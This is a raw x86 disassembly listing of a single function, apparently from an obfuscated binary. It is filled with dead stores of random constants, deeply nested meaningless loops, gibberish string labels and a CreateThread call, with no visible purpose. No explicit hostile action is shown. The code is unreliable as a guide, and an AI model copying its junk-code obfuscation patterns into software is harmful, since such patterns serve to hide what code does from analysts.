pop ecx
pop ecx
push 0x7606
push ecx
lea eax, [ebp - 0x108]
mov edx, 0x385c
push eax
lea eax, [ebp - 0x100]
push eax
push ecx
xor cl, cl
call fcn.1002a726
add esp, 0x14
mov dword [ebp - 0x30], 0xa8f9
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 0xc6f1bf50
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x30], 0xf36f6dd8
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x30], 7
push 3
call fcn.10001c9a
mov dword [ebp - 4], 0x15
mov eax, 0xae28de6
mov dword [ebp - 0x364], eax
xor ecx, ecx
mov dword [ebp - 0x360], eax
inc ecx
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x98], ebx
jmp 0x1002ca91
inc ecx
jmp 0x1002c70f
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x460], 0x6923607a
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], ecx
jl 0x1002ca7a
sub esp, 0xc
lea eax, [ebp - 0x1f0]
lea edx, [ebp - 0x98]
push eax
call fcn.10027ad2
add esp, 0x10
dec dword [ebp - 0x360]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1f0], 0
je 0x1002cae2
push dword [ebp - 0x1f0]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1f0], ebx
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], ebx
mov dword [ebp - 0x20], 0x49f5
cmp dword [ebp - 0x20], 0x4cce
jle 0x1002cb1b
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10075b18
cdq
push edx
push eax
call fcn.10001b85
inc edi
cmp edi, 0x3fd0
jl 0x1002caf6
inc esi
cmp esi, 0x57b6
jl 0x1002caf4
push 3
lea ecx, [ebp - 0x1a8]
call fcn.10001c9a
push 0x16
pop esi
mov dword [ebp - 4], esi
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x20], 0x49d7
jge 0x1002cb4a
mov edx, str.qksxyfuhj_mcibn_fyemw_myxn_idwshpsq_tsdfp_kfpmlgp_vmlkagf_btih_duuckn_hgburg_gcrwphkt
mov ecx, 0x10075b18
call fcn.100036dc
mov dword [ebp - 4], esi
push 3
lea ecx, [ebp - 0x28c]
call fcn.10001c9a
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x40], 0x211c
cmp dword [ebp - 0x40], 0x24f5
jle 0x1002cbbc
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov eax, edi
mov dword [ebp - 0x2c], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, edi
mov ecx, 0x10075b18
or eax, esi
cdq
push edx
push eax
call fcn.10001b85
inc edi
cmp edi, 0x75e8
jl 0x1002cb84
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x7396
jl 0x1002cb78
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x3828
jl 0x1002cb73
mov dword [ebp - 0x30], 0xffffffff
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x40], 0x1e2a
jge 0x1002cc25
mov edx, str.zlkaljp_wbq_jxenhkeq_mayv
mov ecx, 0x10075b18
call fcn.100036dc
jmp 0x1002cc25
xor edx, edx
mov dword [ebp - 4], 0x19
inc edx
mov dword [ebp - 0x18], ebx
jmp 0x1002cc47
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1a8]
mov dword [eax + ecx*4], 0xb58e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002cc34
mov dword [ebp - 0x18], ebx
jmp 0x1002cc62
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28c]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002cc52
mov dword [ebp - 0x18], ebx
jmp 0x1002cc7e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x160], 0x36173948
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002cc6d
push edx
push ebx
push 0x1d8f
lea eax, [ebp - 0x1a8]
mov edx, 0x4f3a
push 0x3f63
push eax
mov cl, 1
call fcn.1002997a
mov dword [ebp - 0x34], 0x1ab8
add esp, 0x14
cmp dword [ebp - 0x34], 0x1ac9
jle 0x1002cce3
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov edi, esi
mov esi, 0x400e
mov eax, edi
mov ecx, 0x10075b18
cdq
push edx
push eax
call fcn.10001b85
dec edi
dec esi
jne 0x1002ccc1
mov esi, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x63c
jl 0x1002ccba
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x34], 0x196b
jge 0x1002cd1d
mov edx, str.cvkmq_ihbbmplg_hlkwn_gdkuvn_zilmsaqks_kurscbcqv_uigyvuq_ldppx_tadvgobfo
mov ecx, 0x10075b18
call fcn.100036dc
jmp 0x1002cd1d
mov eax, dword [ebp - 0x28c]
push eax
mov dword [eax + 8], 0xffffffee
call fcn.10042747
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1a8], 0
pop ecx
mov dword [ebp - 0x28c], ebx
mov dword [ebp - 0x288], ebx
mov dword [ebp - 0x284], ebx
je 0x1002cd6e
push dword [ebp - 0x1a8]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1a8], ebx
mov dword [ebp - 0x1a4], ebx
mov dword [ebp - 0x1a0], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1002cd84
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x400], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002cd73
mov dword [ebp - 0x18], ebx
jmp 0x1002cd9c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdc], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002cd8f
mov dword [ebp - 0xd8], ebx
jmp 0x1002ce03
mov dword [ebp - 0x2c], 0xfffffffd
mov eax, dword [ebp - 0xd8]
cmp dword [ebp + eax*4 - 0x400], ebx
jne 0x1002cde3
mov eax, dword [ebp - 0xd8]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x400]
mov eax, dword [ebp - 0xdc]
cmp ecx, eax
sete dl
cmp edx, 0xffffffff
jge 0x1002cde3
mov edx, ebx
jmp 0x1002cde6
xor edx, edx
inc edx
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x400]
cmp edx, eax
sete cl
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0xd8]
cmp dword [ebp - 0xd8], 2
jle 0x1002cdaa
mov eax, dword [ebp - 0x28]
mov cl, byte [0x100726d0]
mov byte [ebp - 0x39], cl
mov byte [ebp - 0xe0], cl
mov dl, byte [eax]
call fcn.1002fe0e
mov ch, byte [ebp - 0x39]
xor edi, edi
mov byte [0x100726d0], al
inc edi
mov eax, edi
mov cl, byte [edi + 0x100726d0]
cdq
idiv dword [ebp - 0x108]
mov byte [ebp - 0x7f], cl
mov esi, edx
mov dl, ch
call fcn.1002fe0e
mov dl, byte [esi + 0x100725f0]
mov cl, al
call fcn.1002fe0e
push dword [ebp - 0x160]
movdqa xmm0, xmmword [str._a_a_a_a]
lea ecx, [ebp - 0x12c]
mov byte [edi + 0x100726d0], al
lea eax, [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x4f0]
mov dword [ebp - 0x12c], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x4f0], xmm0
mov dword [ebp - 0x128], ebx
mov dword [ebp - 0x124], ebx
call fcn.100217cb
mov dword [ebp - 0x2c], 0x65ee6d54
mov dword [ebp - 0x1c], ebx
jmp 0x1002ceb9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x114], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002ceac
push 3
mov dword [ebp - 0x110], ebx
pop ecx
jmp 0x1002cf94
mov dword [ebp - 0x28], 0x7c8a6b95
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], ebx
jl 0x1002cf8e
xor eax, eax
inc eax
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x1c8], ebx
cmp dword [ebp - 0x1c8], ecx
jg 0x1002cf7f
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x20], 0x3ca955a6
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x40], 0x1b16
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x12c]
push 3
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
test eax, eax
setle cl
add ecx, dword [ebp - 0x40]
cmp ecx, 0xd3650dfa
pop ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c8]
cmp dword [ebp - 0x1c8], ecx
jle 0x1002cf13
xor ebx, ebx
mov eax, dword [ebp - 0x110]
dec dword [ebp - 0x28]
jns 0x1002cee7
inc dword [ebp - 0x110]
cmp dword [ebp - 0x110], ecx
jle 0x1002cecd
cmp dword [ebp - 0x12c], 0
je 0x1002cfc7
push dword [ebp - 0x12c]
call fcn.10042747
pop ecx
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], ebx
mov dword [ebp - 0x124], ebx
push 1
push ecx
lea eax, [ebp - 0x7f]
mov edx, 0xe4d
push eax
lea ecx, [ebp - 0xe0]
call fcn.1002a964
add esp, 0xc
inc edi
cmp edi, 4
jge 0x1002cff2
mov ch, byte [ebp - 0xe0]
jmp 0x1002ce30
push ecx
push ecx
xor dl, dl
mov ecx, 0x1989
call fcn.10029cda
movdqa xmm0, xmmword [0x10069330]
lea eax, [ebp - 0x4d0]
mov esi, dword [0x100726d0]
pop ecx
pop ecx
push dword [ebp - 0x160]
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x40], esi
push eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0xd0], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x4e0], xmm0
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
call fcn.100217cb
mov dword [ebp - 4], 0x1e
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x20], 0xf18ee85e
mov dword [ebp - 0x20], 0x289c089c
mov dword [ebp - 0x34], ebx
push 3
call fcn.10001c9a
mov byte [ebp - 4], 0x1f
xor ecx, ecx
mov dword [ebp - 0x1c], 0x7c1543f3
inc ecx
mov dword [ebp - 0x4c], ebx
jmp 0x1002d093
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x44], 0x90c4d8e5
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x1002d085
lea eax, [ebp - 0x4c]
push eax
push 0x4141
push ecx
push ecx
push 0x3fae
lea edx, [ebp - 0x1c0]
call fcn.1002920e
add esp, 0x14
mov dword [ebp - 0x4c], ebx
jmp 0x1002d0cc
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x438], 0xfff9
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jl 0x1002d0bb
mov dword [ebp - 0x44], 3
cmp dword [ebp - 0x44], ebx
jl 0x1002d1ec
mov dword [ebp - 0x20], 0xffffffff
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xd0]
cmp dword [eax + ecx*4], 0x320a1078
jne 0x1002d162
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x20], eax
jl 0x1002d124
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xd0]
cmp dword [eax + ecx*4], ebx
jne 0x1002d124
mov eax, ebx
jmp 0x1002d127
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setne dl
neg edx
mov dword [ebp - 0x20], edx
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x1c0]
setg dl
xor ecx, ecx
cmp edx, 0x7b09
setg cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x34]
push 0
cmp dword [ecx + edx*4], eax
mov eax, dword [ebp - 0x44]
pop edx
setl dl
xor ecx, ecx
sub edx, 0x5450e45f
cmp edx, eax
mov eax, dword [ebp - 0xd0]
setge cl
add ecx, dword [eax + esi*4]
je 0x1002d1ab
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xd0]
cmp dword [eax + ecx*4], ebx
je 0x1002d1ab
xor ecx, ecx
inc ecx
jmp 0x1002d1ad
mov ecx, ebx
xor eax, eax
cmp ecx, 0x31cf
push 0
sete al
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ecx + edx*4]
mov eax, dword [ebp - 0x44]
pop edx
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x434], ecx
dec dword [ebp - 0x44]
jns 0x1002d0e2
mov esi, dword [ebp - 0x40]
cmp dword [ebp - 0x1c0], 0
je 0x1002d213
push dword [ebp - 0x1c0]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1c0], ebx
mov dword [ebp - 0x1bc], ebx
mov dword [ebp - 0x1b8], ebx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0xd0], 0
je 0x1002d23e
push dword [ebp - 0xd0]
call fcn.10042747
pop ecx
mov dword [ebp - 0xd0], ebx
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
lea eax, [esi - 1]
cmp eax, 0x2950
ja 0x1002e920
push dword [ebp - 0x108]
mov edx, esi
push ecx
push dword [ebp - 0xe0]
push 0x100726d0
call fcn.10027032
mov dword [ebp - 0x30], 0x2db58e46
xor eax, eax
mov dword [ebp - 0x28], 0x57ad95e1
add esp, 0x10
mov dword [ebp - 0x30], 0x9bf39019
inc eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x24], 0x48b08158
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x30], 0x4515fdc8
mov dword [ebp - 0x2ec], 0xd018
mov dword [ebp - 0x18], ebx
jmp 0x1002d2d2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x444], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002d2c1
mov dword [ebp - 0x20], 0x5d85
cmp dword [ebp - 0x20], 0x5e9c
jle 0x1002d35e
mov dword [ebp - 0x28], ebx
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
mov eax, ecx
mov ecx, edx
sar eax, cl
lea ecx, [ebp - 0x5e0]
xor eax, dword [ebp - 0x28]
cdq
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002d31a
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5e0]
call fcn.10001f96
mov ecx, dword [ebp - 0x1c]
inc esi
cmp esi, 0x4938
jl 0x1002d2f4
inc edi
cmp edi, 0x6e50
jl 0x1002d2f2
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x99
jl 0x1002d2f0
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x5327
jl 0x1002d2eb
mov dword [ebp - 0x18], ebx
jmp 0x1002d374
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3d0], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002d363
cmp dword [ebp - 0x20], 0x5d6e
jge 0x1002d38e
push str.xqgscsqo_fzrh_gsb_ryzjan_hck_fugv_lcxkxywg_spxmapvkm_irfdsuqr_byscafk_uqmbrpcbu_rxf_jrpflqh_asvm
call fcn.100425d6
pop ecx
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x2ec]
push eax
push 0x3449
push ecx
xor dl, dl
call fcn.1002b8ef
add esp, 0xc
mov dword [ebp - 0x24], 0xc
jmp 0x1002d4a8
mov dword [ebp - 0x30], 0x1a6b719d
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], 0x9653e3f3
mov dword [ebp - 0x30], 0xadc1094d
mov dword [ebp - 0x20], 0x293
mov dword [ebp - 0x28], ebx
jmp 0x1002d47b
mov dword [ebp - 0x30], 0x6b933888
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0x3cf68729
push 3
call fcn.10001c9a
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x1c], ebx
jmp 0x1002d41d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1fc]
mov dword [eax + ecx*4], 0x3288
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002d40a
mov eax, dword [ebp - 0x28]
push ecx
push 0x5ee6
push ebx
push ecx
mov dword [ebp + eax*4 - 0x444], 0xfffffffe
lea ecx, [ebp - 0x85]
mov byte [ebp - 0x85], bl
call fcn.1002b20b
or dword [ebp - 4], 0xffffffff
add esp, 0x10
cmp dword [ebp - 0x1fc], 0
je 0x1002d478
push dword [ebp - 0x1fc]
call fcn.10042747
pop ecx
mov dword [ebp - 0x1fc], ebx
mov dword [ebp - 0x1f8], ebx
mov dword [ebp - 0x1f4], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 1
jle 0x1002d3e0
dec dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x3d0]
je 0x1002d4a2
cmp dword [ebp - 0x20], 0xffffffff
jbe 0x1002d49c
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1a
jle 0x1002d3b5
mov eax, dword [0x1007819c]
mov ecx, 0x1007819c
push dword [eax + 4]
call fcn.1002fcea
mov eax, dword [0x1007819c]
lea ecx, [ebp - 0x15c]
push 1
mov dword [eax + 4], eax
mov eax, dword [0x1007819c]
mov dword [eax], eax
mov eax, dword [0x1007819c]
mov dword [eax + 8], eax
mov dword [0x100781a0], ebx
mov dword [ebp - 0x50], 0xcea5d6c0
call fcn.10001c9a
push 0x4095
push 0x109a
push 0x433d
push ecx
push 0x40a0
push 0x2899
lea ecx, [ebp - 0x15c]
mov dword [ebp - 4], 0x23
push ecx
xor eax, eax
lea ecx, [ebp - 0x2f0]
inc eax
push ecx
mov dword [ebp - 0x320], eax
mov dl, al
mov ecx, 0x314d
call fcn.100270e1
add esp, 0x20
mov dword [ebp - 0x50], 0x1d
cmp dword [ebp - 0x50], 0x18
jl 0x1002d562
push ecx
mov dl, 1
mov ecx, 0x33f4
call fcn.100298f7
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x18
pop ecx
jge 0x1002d549
xor ebx, ebx
mov dword [ebp - 0x50], 0xfffffff9
jmp 0x1002d6e4
push dword [ebp - 0x2f0]
movdqa xmm0, xmmword [0x10069380]
lea eax, [ebp - 0x4f0]
push eax
lea eax, [ebp - 0x500]
mov dword [ebp - 0x190], 0xc3203bd6
push eax
push ebx
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x138], ebx
movdqu xmmword [ebp - 0x500], xmm0
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x130], ebx
call fcn.100217cb
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0x15c]
push 1
cmp dword [eax], ebx
je 0x1002d67f
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x338], 0xa9b2
call fcn.10001c9a
push 0x6598
push ecx
push ecx
push 1
push ecx
push ecx
push 0x3cf
push 0x1c3c
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0x25
push eax
push ecx
lea edx, [ebp - 0x19c]
call fcn.1002a1c8
add esp, 0x28
lea eax, [ebp - 0x138]
push ebx
push eax
sub esp, 0x14
lea eax, [ebp - 0x190]
push 0x1138
push eax
push ecx
push 0xa85
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x50]
push eax
mov eax, edx
mov edx, 0xf5e
push 0x5253
push eax
push ecx
lea ecx, [ebp - 0x338]
call fcn.1002acda
add esp, 0x40
cmp dword [ebp - 0x19c], 0
je 0x1002d6b6
push dword [ebp - 0x19c]
call fcn.10042747
pop ecx
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
jmp 0x1002d6b6
push ecx
push ecx
lea eax, [ebp - 0x190]
mov dword [ebp - 0x2f4], 0xafcb06a9
push eax
lea eax, [ebp - 0x2f4]
mov edx, 0x6dbd
push eax
push ecx
lea eax, [ebp - 0x320]
push 0x3063
push eax
lea ecx, [ebp - 0x50]
call fcn.1002a8a6
add esp, 0x20
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x138], 0
je 0x1002d6e1
push dword [ebp - 0x138]
call fcn.10042747
pop ecx
mov dword [ebp - 0x138], ebx
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x130], ebx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x10
jl 0x1002d56e
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x15c], 0
je 0x1002d719
push dword [ebp - 0x15c]
call fcn.10042747
pop ecx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0x28], 0xa91
cmp dword [ebp - 0x28], 0xd01
jle 0x1002d7ad
mov dword [ebp - 0x28], 0xc4307e
xor eax, eax
inc eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xfc], 6
mov dword [ebp - 0x1c], ebx
jmp 0x1002f49a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x140], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002f489
mov byte [ebp - 0x75], bl
mov dword [ebp - 0x34], 0xfd4
cmp dword [ebp - 0x34], 0x130e
jle 0x1002f52c
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x38], 0x1806
mov dword [ebp - 0x2c], edi
mov esi, edi
mov edi, 0xcc0
mov eax, esi
lea ecx, [ebp - 0x628]
cdq
push edx
push eax
call fcn.10001a41
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002f4e3
mov eax, dword [eax]
push eax
call fcn.100425d6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x628]
call fcn.10001f96
inc esi
dec edi
jne 0x1002f4c9
mov edi, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x20]
add edi, esi
dec dword [ebp - 0x38]
mov dword [ebp - 0x2c], edi
jne 0x1002f4c2
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x160d
jl 0x1002f4b6
push ebx
push 0x2663
push ebx
push ebx
push 0x1058
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x56dd
lea eax, [ebp - 0x75]
mov dl, 1
push eax
push ecx
call fcn.1002b8ef
add esp, 0xc
cmp dword [ebp - 0x34], 0xec7
jge 0x1002f554
push str.rbnj_zoluvfex_oxjdfq_zfctwrmu_yph_mwcw_fcnuydfpw
call fcn.100425d6
pop ecx
cmp dword [ebp - 0x13c], ebx
jne 0x1002f59c
mov eax, dword [ebp - 0x140]
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x13c]
imul eax, dword [ebp - 0x28], 0xfaa3
cmp eax, 0x7335
mov eax, dword [ebp - 0x13c]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
imul eax, ecx, 0xe071
test eax, eax
jne 0x1002f59c
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, 0x2c9a130d
je 0x1002f5b6
cmp dword [ebp - 0x28], ebx
je 0x1002f5b6
xor eax, eax
inc eax
jmp 0x1002f5b8
mov eax, ebx
mov dword [ebp - 0xfc], eax
mov ecx, dword [ebp - 0xc]
mov eax, 0x1007819c
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret